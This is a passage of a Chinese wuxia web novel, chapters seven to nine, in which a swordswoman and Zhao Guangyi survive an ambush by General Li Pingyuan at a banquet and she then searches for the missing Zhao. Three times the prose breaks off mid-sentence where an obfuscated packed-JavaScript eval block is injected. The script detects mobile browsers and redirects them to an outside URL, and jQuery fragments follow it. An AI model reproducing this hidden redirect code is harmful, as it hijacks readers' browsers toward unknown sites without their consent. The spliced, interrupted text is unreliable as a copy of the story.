她目送着羽衣楼车马离开,其实她一直没告诉他,方才羽衣楼来的绣工看到她捧着衣服和妆容尽数送回,绣工以为她是开封府的侍女,还拉着她抱怨了几句。 “京尹大人真难伺候!” “成个亲这么麻烦!” 她开怀大笑。 “少侠这是在笑什么?”赵光义问。 “在笑某位难伺候的金玉之身。”她从容不迫,打趣地道。 赵光义用折扇再度敲了下她的脑袋:“听少侠口中之人,竟觉有些熟悉。可这羽衣楼的衣服和妆容,可是某位连试都没试,就原路送回的。究竟是哪个更难伺候?” 她见他也笑逐颜开,真是难得。春光正好,他愿意为了她换上晋中原的服饰,从堂堂开封尹到江湖有名的晋大侠,只为她一句话——“只是我素来劲装便服,穿不起这衣裙。” 于是,他问了一遍:“不知少侠可听闻蒲先生和摘星手的传闻?” 7. 金错刀,侠骨香(二) 第七章·金错刀,侠骨香(二) “蒲先生和摘星手的传闻?” 她摇摇头,随意抓了几本车马里的书,大多是圣贤之术,说着什么之乎者也,大道精简之谈,她是不感兴趣的,一直觉得这些书不过是车轱辘话来来回回讲,透过字眼,也只尝遍几个“修身”“进德”“天下平”的真理。 惊叹一声,连忙抄着一本书,指着上面的文辞,习着那句读,对赵光义道:“这话我就不喜欢。” 赵光义自幼饱读诗书惯了,对先人所传世之书,自然会抱着接受的态度,提出自己的见解进行批注,却不会质疑。而今,他看着她神采飞扬,抬眼瞅着他,指着那上面的工整之文,表情不悦。 “少侠为何这么认为?”赵光义“哦”了一声,挑眉坏笑。 她以指点江山的姿态,似乎眼前的人只是江湖中的草芥之辈,并非堂堂开封尹,丝毫不顾赵光义心里是如何想的。 “俗话说,有人的地方就有江湖,那天下之大,人多了去了,人多的地方是非矛盾就多了,单靠自身内修、外在规劝谈何容易?”她抱着佩剑,哼了一声,“依我看,还是以五石之瓠浮于江湖之上好!” 车马摇摇晃晃,穿过金门水街,穿过乡野小路,路过梨花纷纷落,雪白飞入车里,少些沾染在她的眉睫和鼻尖上,赵光义目光沉沉地看着她,不知为何,一直循规蹈矩的他,竟然生出一些大逆不道之思——嗯......浮于江湖之上,逍遥自在,无忧无虑。 但庙堂中人,死不得其所,生不得所求。 赵光义好像始终挣脱不了披于身上的枷锁,是世道让他坐于如此之高。他也有贪欲渴求,他不愿下去,又怕其他人上来。 他的江湖和她的江湖不一样。他的江湖多的是生杀予夺,她的江湖多的是行侠仗义。他的江湖多的是浮浮沉沉,她的江湖多的是嚣嚣迢迢。 “少侠,世间万般不得已,并无什么‘好’与‘坏’。世道也,人心亦然。”赵光义从她手中抢过那书,装作若无其事地放到一旁,转了话题,“在得知喜事宴传信之时,我便在府里查过李平远这人,近些日子在淮北颇有举兵之意,想必,这喜事宴不单单是说媒这么简单。” 她耐心听着,手中把玩着佩剑,一拉一抽,一抽一拉。 赵光义继续道:“前些年官家释其兵权,奈何未等淮北军镇作出回应,北方战事又起,官家御驾亲征,托我作监国。许是官家忘嘱咐,又或者开封府事务繁多,惹得我也有些忘了,淮北军镇之事便一直耽搁。若不是这喜事宴,恐怕我亦不曾记起。总而言之,今日少侠在此,事关重大,情急之下,拔剑相助,乃明智之举。” “我不。”她反驳道,将视线转向窗外,车马一路浩荡,马上就到御苑了。 “少侠,先前不是说好的吗?”赵光义细心哄着。 “你要做将生死置之度外之事,请不要拉着我趟这破泼浑水。”她语气不屑,十分义正词严,惹得赵光义很是恼火,但也只能浮于心间。 赵光义皱眉:“少侠,这叫权衡。” “这叫心狠手辣!” “权衡之道,仁义之术!” “玉面蛇心!” “至少本官还配有个玉面,多谢少侠肯定。” “赵光义,你无耻!” “少侠怎么这么不会说话?” “你!” ...... 在两人争吵之时,车马便停在了御苑前。两人下车,却意外地沉默,又很有默契地往宝津楼前去。 李平远那队车马还未到,出于礼数,赵光义便和她一起,站在高台上,极目远眺。不多时,她看到了远处那浩浩荡荡的队伍,显然,赵光义也看到了,似乎有着天下可运于掌的胸有成竹,赵光义笑了笑,趁着她不注意,将她抱上白玉精雕细琢而成的阑轩。 突然失重,让她倒吸一口凉气,下意识地抓住赵光义月白色劲装的衣襟,很快又反应过来,抬手欲要扇赵光义一掌,却被他反手握住她的手腕。 气息难得紊乱片刻,趁着这个时机,她瞅见赵光义的眼眸越过自己,转向身后的那队风霜之伍,又再次转向她,指尖抚上她的脸,朗声地道:“我要娶你,绝非妄言。早在多年之前我便决定,要以日月为证,以兵马为聘,换宋境山河日久、太平长安,换你如素白明月,皎然入我怀。你敢答应吗?” 我要娶你,绝非妄言。 她能感受到埋在胸口内的那颗心正不平稳地跳起,和她的气息一般,急促、强烈。 以日月为证,以兵马为聘。 她凝望着他的眉眼,傲骨、锋利,带着点少年意气,带着点文人风骨,带着点指天誓日的胸怀与勇气。 换宋境山河日久、太平长安,换你如素白明月,皎然入我怀。 她一时脑袋混沌,分不清他说的这些话究竟是名义上的装模作样,还是真的带着点儿不由分说的真心。她甚至分不清现在站在她眼前,眉目柔和的人,究竟是温润如玉的晋中原还是权势滔天的赵光义。 你敢答应吗? 九鼎之言,亦难承受。她微微往后仰头,却被赵光义拉过。她的额头紧贴他的肩膀,能感受到他的手臂环过她的双肩,明明指尖都没碰到,可她依然心神俱休。 “李将军到了。”他若无其事地松开怀抱,收敛起方才佯装的一往情深,转身拾级而上,直抵宝津楼楼口,才转身看向依旧愣在原地的她。 “少侠,”他唤她,“走了!” 她这才幡然醒悟,明白方才赵光义所说的话不过是追名逐利,演给李平远所看的戏码。她竟傻得差点儿就信了,若不是赵光义催促她,恐怕她依然身陷囹圄,无法自拔,不分虚实。 进了宝津楼,楼中侍女带着赵光义和她落座于包房中,等待片刻,包房之中有进了一人,那人自称是李平远身旁的幕僚,托李将军之名前来送淮北最名贵的酒给赵光义。 淮北之地,酿酒并不好。 身为宾客,最不可能用淮北的酒来献礼。 她神色如常地接过酒,将其放在桌上。 听闻包房外传来脚步声,哐啷一声,大门被人打开。李平远一身轻铠甲胄,落座于赵光义的对面,上下打量着她和赵光义。 良久,只听李平远轻声一笑:“京尹大人,今日这般模样,可是不给李某面子啊!” 而赵光义直接大方出击:“李将军明知本官有家室,偏执意说媒,当心败坏淮北李氏之名声。” “是吗?”李平远用眼神示意方才那幕僚为众人倒酒,“我怎么不知道京尹大人的心上人竟是不知名姓的江湖中人。李某早听闻,京尹大人腹有诗书,没想到竟娶不识字文的草莽为妻,实在是有失风骨礼数。” 她第一次遇到这个场面,听到李平远诋毁自己,还顺便阴阳怪气赵光义,她气不打一处来,正想开口反驳,却被赵光义微微抬手拦下。他平静地扣住她的指尖,指腹有意无意地摩挲着她的手背,示以安抚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495617|185929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是警醒。 “李将军真是不识抬举,开封府从不养无用之人。”赵光义攥紧她的手,用力地攥紧,似乎用了全身力气,怕她跑走一样,“夫人低眸则博学笃志,抬眼则持剑高歌,纵不谙儒之礼法,也归道之无为。” 见李平远的神色愈加猖狂恼怒,赵光义也不加掩饰,直白坦然地道:“娶她为妻,天经地义。” 见争不过赵光义,李平远便退一步海阔天空,举杯敬酒,并介绍这幕僚送来的酒乃淮北特产。她低头看了看酒色,并不醇香。她喝过寒姨酿的离人泪,酒色远比这个醇。 由此,她心中便知,这酒中有诈,要么掺了水,要么掺了药。掺水证明李平远对开封府心思敷衍,掺药证明李平远想置赵光义于死地。 她正想抬头用眼神示意他,却看到赵光义仰头举杯,将杯中酒一饮而尽。 紧接着,她就看到李平远得逞的表情。 眼前一抹银白。 有诈! 她眼疾手快地用佩剑抵住那飞镖,而后一把掀开桌布,桌上摆着的酒器皆扬起,如灰尘般朝着李平远的面门飞来。 那幕僚拔出他的刀,一一劈碎这些酒器,踩着零落的碎片抬脚落于她的身后。她急忙转身,却撞上李平远的枪口,于是只好将头一仰,躲过这蓄力一击。 但那幕僚好像早就料到她会这样,赶忙转身,横着那刀就往赵光义的面门砍去。她心叫不好,虽然再讨厌赵光义,也不肯让这人白白死在这帮逆徒的刀下,却在电光石火之间,啷当一响,一把链剑横空而出,缠住这幕僚的手,将手中的刀碎于地面。 赵光义十分知礼数地将口中含着的酒重新吐入杯中,而后一抽链剑,缠住那幕僚的脖颈,将他拉向自己。 “可是官家赏赐不够?” 闻言,见她抬手,佩剑同链剑一起,一同朝李平远袭来。李平远手握长枪,身后的侍卫依次散开,皆都朝二人袭来。 今日出门一切从简,简单喜事宴罢了,故没带什么侍卫,只凭两人抵挡一队侍卫,敌众我寡,可她却丝毫不慌,似乎十分有信心,将其一网打尽。 “可是淮北军镇财税吃紧?” 李平远退至一旁,却被佩剑拦住去路,下一秒,链剑扫开他的甲胄,划开一道锋利的口子,鲜血潺潺流出。 “若都不是,为何这般?想要史书书佞你?想宋境干戈又起?想乱世称王,篡位夺权?”赵光义冷笑一声,“那你错了,天子脚下,岂非小人之徒敢登高殿?!” 李平远嘶吼一声,摇摇晃晃地站起身,持枪的手颇有横扫千军如卷席之力,朝赵光义的眼眸刺去——赵光义瞳孔骤然睁大,躲闪不及,却被佩剑挑开,她风雨不动安如山,矗立于赵光义眼前。 那时,赵光义便决定好了,从假戏真做那一刻起便决定好了——明知她心千金难求,可他偏要娶她,娶她的天真烂漫,娶她的纵马扬鞭,娶她的来去如风,莫不用三书六礼,以容华盛世,以太平长安,明媒正娶,问鼎天下。 “小人之徒?”李平远捧腹大笑,“大人扪心问问,这天下可是如何夺来的?说李某小人,大人不妨想想,若不是你兄长承袭小人之计,有你现如今权倾朝野的荣华富贵吗?!” “你怎敢这样说兄长?!”赵光义握着链剑的手发抖,“兄长黄袍加身后,未杀一兵一卒,不过是缴了前朝兵权,以稳民心,宋境恐不多时又陷入刀戟相向、民不聊生之局!” “可我淮北李氏,不奉小人之君!” 8. 金错刀,侠骨香(三) 第八章·金错刀,侠骨香(三) 李平远真气注入,那长枪刹那间燃起汹汹烈火。李平远嘶吼一声,那长枪便直直地插入地面。 说白了,什么喜事宴,什么说媒,什么李家大小姐都是假的,这李平远今天就明摆着要与赵光义争个生死输赢。为什么偏偏是赵光义,为什么大宋那么多位官员,为什么偏偏挑个赵光义?原因很简单,因为官家他不敢惹,赵普朝中势力道高一尺魔高一丈,他更不敢惹,相比之下,赵光义是唯一一个能代表大宋,替他报收缴兵权之仇的最佳人选。 “你们收镇之兵,压镇之权,吞镇之势,荒淫无道,暴殄天物!”李平远挥动长枪,甩出一片热浪,整个宝津楼刹那间幻化成火海坟场。 她持剑横在赵光义面前,在火光之中蓦然回首,对赵光义道:“大人先走,这儿交给我。” 情急之时,赵光义一把拉过她的胳膊,将挂在腰间的链剑放于她的掌心中,这不是怕她身死道消,这是一种信任。赵光义信任她,故而将链剑托付于她,亦告诉她,李平远的生死,掌握在她的手中。无论她最后做出什么样的选择,都是代表开封府的一切行事。 他运起轻功,临走之前,遥遥地看了她一眼。他看到她的雄姿英发的艳骨,看到她红罗缠刀的倨傲。而后头也不回,甚至带着点儿毅然决然的神色,跃上了宝津楼的屋檐。 心中无限怅然:近日府中支出有花多了。 还未安定,他只觉得背后被人重重地拍了一掌。 “李将军说说,良地美酒桑竹,淮北军镇想要的,官家可是一股脑地都给了,怪就怪在你们淮北军镇自视清高,得来的好处都不愿收!”她一手佩剑,一手链剑,翻转手腕,扭转身躯,先用佩剑一挡长枪,再挥手以链剑之势,一把拉过李平远,拉近了身位。 李平远戏谑一笑:“淮北军镇自视清高?” 他俯下身段,往前送来一枪。 “难道不是吗?唐末藩镇,武将篡权之故事,多了去了!”她飞身一跃,链剑在空中划过一道完美的弧度,“想来,李将军可还是不够聪明!” “少妇城南欲断肠,征人蓟北空回首......淮北军镇的那些兵马,皆是前辈三代耗尽年华所历练出来的心血,岂能一朝说收缴就收缴,一朝说遣散就遣散?”李平远说着说着,竟流下泪来,“十五年前,契丹屠城,当时朝廷传书,恳求淮北军镇前来支援。当时父亲年事已高,却仍然身披战甲,只身赴开封。他本抱着万死以赴之志,幸运的是,那场仗,我们胜利了!” 李平远抬手抹了一把眼泪,泪眼朦胧间,他看到她持剑的手微微抖了抖,却依然摆出防御的姿态。 “时隔今日,我依然能记得,当时年迈的父亲站在开封城的城墙处,看着远处被打得落花流水的契丹兵马,也像我今日这般,老泪纵横。父亲说,汉人......汉人终于赢了。你知道这句话在当时的意义是多么深重吗?那个时候,无数新兵老将都以复汉以归华夏为帜,但更多的是穷极一生都无法做到,父亲却做到了。慨当以慷,当为英雄。” “你的父亲是个英雄,契丹骑兵,并非中原之人所能抵挡。”她握紧手中的剑,目光坚定地望向他。 “这么英雄的人,在开封归于安定那日,却以‘通敌叛国’之罪名,凌迟于市。”李平远蹲下身,自嘲地笑笑,抬手捂住自己的脸,接着是冰冷又苍白的笑。 李平远的笑回荡在整个宝津楼里,格外凄冷诡异,恰似猿鸣杜鹃啼血。楼里真气晃动,楼基不稳,她深吸一口气,稳住自己的身形,却不想一个房梁于眼前掉落,她挥剑劈断,却撞上李平远乘虚而入的枪头。 她飞身一挡,链剑勾住枪头,往后一扯,枪头剐蹭在地面,发出激烈刺耳的声响。 “你说说,用尽全力击退辽军,不求赏赐明堂前,奈何现如今,一句‘通敌叛国’之罪名,仅能连身前身后名都求之不得!”李平远抡起长枪飞身上前,“后来,朝廷派人抄了军镇,我卷席而走,待风平浪静时,再回到军镇,刚好见到了朝廷放的那一把火。” “这火......就跟眼前这火一样......翻飞的、雀跃的、灼烧在我心口的......”李平远嘶吼一声,他身形狼狈,浑身上下沾了不少鲜血,那轻铠甲胄尽数不留,“从那时我便知道,好人是用来被坏人利用的,坏人是借好人的功劳和运气攀登云梯的。淮北军镇的兵是要成就朝廷的王图霸业的,将军的命是要倒反天罡成为朝廷青云之台的。” “可是凭什么?!”李平远怒吼一声,再度摇晃站起身,奋力一挥,朝着她的面门砍去。 她抓中他的空虚,翻身往前一跪,链剑趁机缠住他的脖颈,她飞身站起,链剑捆住李平远的双手,佩剑横在他的脖颈处,剑锋直抵李平远的喉结。 “前朝之火,干本朝何事?”她的声音低低的,压迫感很强,“说英雄谁是英雄,论小人谁是小人?” “李大将军的冤情,不光是我,我相信京尹大人和官家听完之后,定会理解淮北军镇的苦衷,可是李将军既没亲口告诉本朝,也私自藏兵潜将,又欲杀开封尹,我想,李将军这番举动,跟‘通敌叛国’可是没什么太大区别了吧?” “胡说!”李平远咳嗽出了一口血,“我要救的是天下人,我要让天下人知道,宋,不值得奉!” “李将军,你既这么说,为何不直接大杀宫廷,反而以‘喜事宴’的名义,将京尹大人约在宝津楼?若你真觉得宋不值得奉,为何不直接夺权篡位,黄袍加身?”她反将一军。 “......你......休要胡言!” 她扯开嘴角,火海不断朝她袭来,浑身上下,衣袍被血与汗浸染,外加那周身不平之气:“不是你李将军伸张正义,而是你李将军没这个实力!” 话语罢了,李平远似乎受到什么刺激一样,长□□入地面,强烈的真气迫使她退了好几步。很快,地下翻身而来无数与李平远的兵马穿着相同的士兵,他们叫嚣着,嘶吼着,挥舞着兵器,朝着她袭来。 “窃钩者诛,窃国者侯......”李平远喊叫道,“赵匡胤能做出来的事,我、李平远又何尝做不出来!?” “兵来将挡,水来土掩,给我杀!” 面对着淮北军镇兵马的袭击,她一手佩剑,一手链剑,左右相互抵挡,可终究难敌。她力竭地喘着气,可仍然腰身翻转,不断与那些士兵厮杀着。 方才李平远所说的,什么通敌叛国的罪名,什么六月飞雪的冤情,已经不重要了。生死面前,再重于泰山的大义,也会轻于鸿毛。她只要她活,她要她活,好好地活着走出宝津楼,她要她拦住这些淮北军镇的士兵,哪怕只身之力,孤军奋战,她也不能让李平远的计谋得逞! 一刀。 两刀。 三刀。 ...... 鲜血逐渐模糊她的双眼,眼前的世界血红一片,身前是数以万计的士兵,身后是熊熊燃烧的烈焰,她进也不是,退也不是,唯有杀,才能放自己一条生路。 既然李平远已大杀开戒,她还这么重视礼尚往来,实属不该。她不断眨眼,不知为何,那些士兵蜂拥而至,她竟产生一种错觉,仿佛眼前那些举着刀的士兵,并不是淮北军镇的士兵,而是绣金楼统领卫。 她觉得报仇雪恨的时候到了。 她不能再等了。 于是,她加快脚步,不断奔跑,不断奔跑,来者杀,挡者戮。佩剑砍断一颗颗士兵的头颅,链剑扫断一条条士兵的腿脚,她觉得爽极了,前尘的怨恨与今世的愤懑交织在一起,成为她手中握着的自己的佩剑。 她怒吼一声,起身凭空跳起,踩着尸山血海,宛若地狱修罗,越过血流漂杵的火海,发疯一般,朝着李平远的脖颈处袭来。 李平远连忙躲闪,眼疾手快地抓住她的肩膀,将她的脊背撞上宝津楼已被大火蚕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495618|185929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食的房梁,轰隆一声,房梁再度塌陷,帷幕沾染着火焰,不要钱般地坠落。 他手持长枪,再度刺去。 却被一个东西挡住。 那是她的佩剑。 佩剑因为要抵挡长枪的攻击,被真气弄断了。 下一秒,只听她恶狠狠地道,纵然气息微弱,可目光依然狰狞:“宁为玉碎,不为瓦全。” 这是她在来路上,在赵光义的书籍中,偶然看到了一句话。 她觉得这句话,很适合此情此景,于是她又重复了一遍,音量抬高:“宁为玉碎,不为瓦全!” 下一秒,她徒手捏住李平远的脖颈,李平远同样也握住她的脖颈。 一名武将怎会不敌一位不过及笄之年的江湖少侠?可他实在是没想到眼前这人的武功非同小可,力气甚大,宛若泰山压顶,双手深深地锁死他的喉咙,眼中满是生杀之势。 李平远觉得她恨透了他。 她亦然。 这时,房梁“咔嚓”一声,宝津楼巨大的屋顶倾斜落下,李平远看着逐渐逼近的屋顶,又看着眼前非得让争个你死我活的她,想到了他策马来宝津楼前,不知是有意还是无意,所听到的那句话。 “我要娶你,绝非妄言。早在多年之前我便决定,要以日月为证,以兵马为聘,换宋境山河日久、太平长安,换你如素白明月,皎然入我怀。你敢答应吗?” 她是开封府的人,她是开封尹的人。 他计谋已败,他必须葬身于此,可她不能,她的身后是开封府,甚至......可能还有更多,但,李平远想,他这辈子都不可能知道了。 于是,他一把推开了她,用尽最后一丝真气,推她远离火海。她一瞬间没反应过来,脑海里宛若裹挟着一团迷雾,只能看见这真金白银的宝津楼訇然倒塌。而后,她像是想到什么一样,飞快跑上前,徒手扒开那层层废墟,终于看到李平远的尸骨,还有怀中的一抹金光。 这是...... 一个刀鞘。 但刀身已找不到了。 她又找了几遍,也没寻到刀身,只好将这件事以及怀中那刀鞘,包括腰间的链剑一一还给赵光义,许是因为一句假意的海誓山盟,竟让她对赵光义颇有信任。 对了,赵光义。 赵光义还在等她。 她先在宝津楼附近的废墟里转了一圈儿,没找到赵光义,又运起轻功站在开封府的后院墙上,往室内看,赵光义也不在里面办公。 奇了怪了,开封城这么小,她怎么连走路带风的赵光义都找不到了? 她心下有些不安。 赵光义一个文官,武功不高,若是真的出了什么意外,她该如何向赵大哥交代,先不说交代,估计她还没说出口,已经被刽子手提刀带走了。 又运起轻功跑遍了开封的犄角旮旯,还是没有见到。樊楼去了,赵光义不在。金门水街去了,赵光义不在。蒲先生的宅邸去了,赵光义也不在......她觉得他可能会去的地方都翻遍了,连赵光义的一点影子都没看见。 失魂落魄,意念愁身,她轻车熟路回到开封府,打算问一下后院并排站着的侍卫——赵光义的随身暗卫。 “少侠?” 对于她的到来,那些随身暗卫并不一样,想来赵光义应当是前不久嘱咐好了一样。 那些随身暗卫见她满身狼狈,想到今早自家大人刚跟她去参加喜事宴,只是这喜事宴怎么看都不喜庆。 “你们有看到京尹大人吗?”她一脸焦急,“我找了他很久了,一直找不到他。” “啊?!”那随身暗卫道,“什么?大人不是一直在少侠身边吗?怎么会......” “京尹大人也没来过开封府?”她语气更为焦灼。 “自始至终,从来没有。”那随身暗卫突然意识到什么,连忙道,“少侠稍等片刻,我去唤一人,或许有大人的消息。” 9. 金错刀,侠骨香(四) 第九章·金错刀,侠骨香(四) 她站于府中庭院,焦急地来回踱步。现在腰间并无佩剑,她分身乏术,唯有那把独属于赵光义的链剑。倘若赵光义真的出了什么事......无论什么事,她想,只要他还活着就好。 当真是奇怪,明明应该讨厌极他了。讨厌他的倨傲孤高,讨厌他的心狠手辣,讨厌他的玉面蛇心,可现在她竟然希望他还活着,他还在开封,这不完全是他身为开封府尹,又或是他身着晋中原的衣服,还有那悄然滋长的心事。 是这把链剑的原因......一定是......不然她不会希望他还活着。 不多时,那随身侍卫便进了屋,身后跟着一个神经兮兮又瘦骨嶙峋的老者。那老者一身惊诧,进门还有种入了蛇腹的紧迫感。他手握罗盘,嘴中不知道念念有词什么。 离近听了,才发现老者所说的话:“地空厄,紫薇劫。天煞觫,紫薇劫。” “紫薇劫?”她上前一步,探询问道。 那老者道:“前几天替京尹大人卜卦,竟算出此劫。考虑到京尹大人忙于政事,本想等休沐之时告知,奈何今日怎么就不见了......莫非当真去应劫了?” 那随身侍卫介绍道:“少侠,此人名叫陈抟,是大人信任的玄师。” 说罢,那随身侍卫便退下了,屋内只余下她跟陈抟,双双干瞪眼。 “今日,赵......京尹大人本当和我共赴御苑宝津楼喜事宴,然时运不济,李平远领部下在宝津楼闹事,纵然被我三两刀解决,但我出来后,京尹大人却离奇消失。”她率先打破沉默,朝陈抟解释道。 陈抟捋着胡髭,问道:“京尹大人自己跑去了?” 她摇摇头:“不知道。” “你又是谁?”陈抟眯着眼睛,困惑地道,他怎么不知道最近开封府聘了一位女捕快,莫非赵光义的口风太过严实,一点儿风吹草动不足以透露声响? “在下只是江湖中人,受京尹大人之托,协助办事。”她从腰间拿起赵光义递给自己的链剑,道,“这是京尹大人的链剑。” 赵光义任开封府尹时,独爱招揽各色门客,像她这种江湖中人,更是数不胜数。陈抟曾问过他,怎么开封府什么人都敢收,赵光义却道,若鸿愿皆为四海清平,为何不能加以一用? 看来,眼前的侠客,必定是赵光义新招揽的门客。 只是,年龄是略微小了点儿? 陈抟记得,先前开封府招揽的那些门客,年龄都应与赵光义差不多大,或者比赵光义还要大许多,怎么这次突然焕发几岁,当是眼前的侠客必定与众不同就对了。 千思万绪,以陈抟的斗量,早已心知肚明,对她的态度也改了七八分。 “他若只身去应劫也就罢了,怎么连链剑都不带?”陈抟一手持链剑,一手持罗盘,看着上面疯狂摆动的磁针,微微蹙眉,“这不对吧,我记得我没告诉他这件事,不过以他的聪明劲儿,想必也能猜到一点半点。” “那就更不可能了。”陈抟不知是自言自语,还是对她说话,目光依然紧盯着罗盘,“他位高权重,怎会只身应劫,想必是混乱之时,被谁人抓过去的。” “啊?!”她惊呼道。 她清楚地记得,当时赵光义可是亲手托住她的手,将那把链剑完整、平稳放入自己的手中。紧接着,在汹汹烈火之中,在危机紧迫之时,她命令他赶紧走,他也毅然决然走了——想必是在他走出宝津楼之时,被人抓过去。 她和赵光义都单纯认为这只是个简单的喜事宴,故没带随身侍卫,谁能想到好好的喜事宴竟成了鸿门宴,不仅成了鸿门宴,还成了李平远的白事丧。 她将过程尽数详细地告知陈抟:“所以,我猜,抓他的人一定与紫微星劫的人有关。” “喜事宴?”陈抟想了想,随口一说。 “本来说是李平远带自家女儿前来说媒,没想到只是个幌子。”她淡淡地解释道。 陈抟眼珠子转了转:“看来京尹大人是猜到李平远的目的了?” 她心直口快:“没有。他找我,是想和我扮作夫妻,骗李平远赶紧拍屁股走人。” “什么?”陈抟瞳孔睁的两个大,连忙后退,显先撞到身后的木架上,“不得了不得了不得了,这简直有失礼数,这简直有失礼数......没想到京尹大人竟心悦少侠这般的逍遥洒脱之人!” “扑哧”一声,她被口水呛了几下,频频咳嗽。 立刻反驳道:“不不不,你误会了,我只奉命去办事,仅此而已!” “诶啊,我开个玩笑嘛,少侠,赏个脸呗!”陈抟打趣地道。 话语罢了,陈抟的眉目倏然一变,目光复杂,她注意到他的骤变,上前一步正想探问,不想陈抟突然开口:“这是开封城西的浮戏山......” 她道:“浮戏山......” 陈抟唉声叹气:“少侠有所不知啊,这浮戏山,可是玄元教教徒所据之地,倘若京尹大人只身入此,怕是凶多吉少......诶......劫难不由人,万般皆是命。命里有时终须有,命里无时莫强求......” 地空厄,紫薇劫。天煞觫,紫薇劫。 他昂头朝天,大步流星,嘴里哼着那不着调的辞藻,离开了开封府。 假若赵光义真的凶多吉少,凭他的身份,想必玄元教教徒不会将他置于死地,可也会受尽折磨。他手无寸铁,定然不是玄元教教徒的对手。 事不宜迟,速速行动。 无论如何,她都不能坐以待毙,她要去救他,救她最讨厌的人。 救赵光义。 * 轻功运起,她踏云逐日,不过弹指之间,便落于开封城西郊的万胜镇。到了万胜镇,晴朗的天空转瞬黯淡,乌云密布,雨丝如注,宛若孕育着什么魑魅魍魉,苍龙虎豹一般,格外渗人。她看到几位朝中官兵速速拉起了人墙之阵,不仅如此,周围还围了一圈人。 她跑上前,拉过一位姑娘,就问道:“敢问这是发生了何事?” “好像是朝中有位大官在太岳台出了事儿,开封府还未动身,这官家就已派兵前往。”那姑娘解释道。 她继而问之:“那怎么杵在这儿不动?” 那姑娘顾盼四周,指着一个跪地的人。那人浑身狼狈,连衣服都被撕扯不成样子,脸上满是干涸的血迹。 “那人拦着......诶,你别说还真是奇怪啊,这官兵既然能听一个小民的话,你说该不会这小民跟官家有什么关系吧?!” 姑娘猜测着什么,她一个也没听进去,只知道这人有用,便凑上前,替那人简单疗伤一番。她觉得来开封这么一趟,药药在不羡仙教给自己的悬壶技法真是越来越好了,前有付温书,后有这个人,她觉得如果赵光义不给她解药,她也不是不可以医治自己。 若是自己也救不得......她记得小时候,江叔曾对她说过,他有位挚友,同生共死的交情,乃江南人士,青溪子弟,医术高超。或许她还可以去江南,托关系找到江叔口中的“挚友”。 “多谢少侠相助,在下名叫算三春,不知少侠想要什么报酬?”算三春现在还处于虚弱之态,连气息都发着抖。 她言:“报酬?报酬什么的我不需要,我只想问你这是怎么了,有没有大碍,若还觉得难捱,可以去找太医署或者我有一个认识的人,想必他......” 算三春捂着伤口,瘫坐在地上,艰难地开口:“不必......少侠......我......我并无大碍,只是我家公子他......他在下......等等,少侠......青龙望日......记住......青龙望日......” “公子?” “他也同少侠一样......乃江湖中人......少侠......青龙望日,只记住就对了......” 只听算三春长吁一口气,而后双眼一闭,倒在了地上,惹得周围的人都吓了一跳。她将双指放入他的鼻下,万幸还有气,怕是恐惧过度、伤势过重而晕了过去。 不过,算三春说,困于太岳台下的是江湖子弟,并非官府中人,那官兵来作甚? 还是赵光义的可能性大一点。 她找来那位姑娘,让她先看着晕过去的算三春,而后看了看那巍巍如山般一脸严肃的官兵,心里的疑云还是未能消散。 若太岳台那人真是赵光义,为何官兵还按兵不动? 那些官兵横在那里,若想正常进去是不可能,她只好跃上人家屋顶,借着树梢的遮蔽,运起轻功,冒着斜风细雨,足尖点地,稳稳落于太岳台之上。 她快步奔驰于茫茫细雨之中,忽而耳畔传来镰刀刮风之声,她忙地侧身一避,瞥见雨中有个若隐若现的暗蓝色身影。 丝毫不慌,屏息凝神观察那闪动的身影,在那身影出现之时,她以迅雷不及掩耳之势拔出腰间的链剑,对着那身影横扫而过,而后链剑勾住那身影的脖子,将其往下一拉,那身影被拖动到地上,下一秒,她冷着一张脸,挥舞链剑,剑锋扫过那身影的脖颈。 搜寻完那身影的衣物,发现里面有玄元教的字眼,想必这人就是陈抟所说的玄元教教徒了吧,既如此,那公子一定被玄元教教徒袭击了。 她拾阶而上,或许天有异象,这雨下的是愈来愈大了。雷电争鸣,无言如刀戟沉沙。 映入眼帘的是一个青铜制成,如天堑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495619|185929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般的璇玑八卦台。而在那璇玑八卦台的顶部,她往上看去,果真看到了一个巨大的青铜龙头。那龙头昂首于浮戏山太岳台之上,俯瞰着山脚下的建隆观。大抵是官兵封锁,昔日香火正旺的建隆观却空无一人,分外诡异。 “青龙望日......想必就是这个了。”她自言自语,上前摆弄着璇玑八卦台。 茫茫阴雨,何处能寻得一丝天光? 算三春的话到底算不算数? 她微微蹙眉,还是觉得应该试一下,不光是为了算三春,还为了困于里面的“不知名公子”。 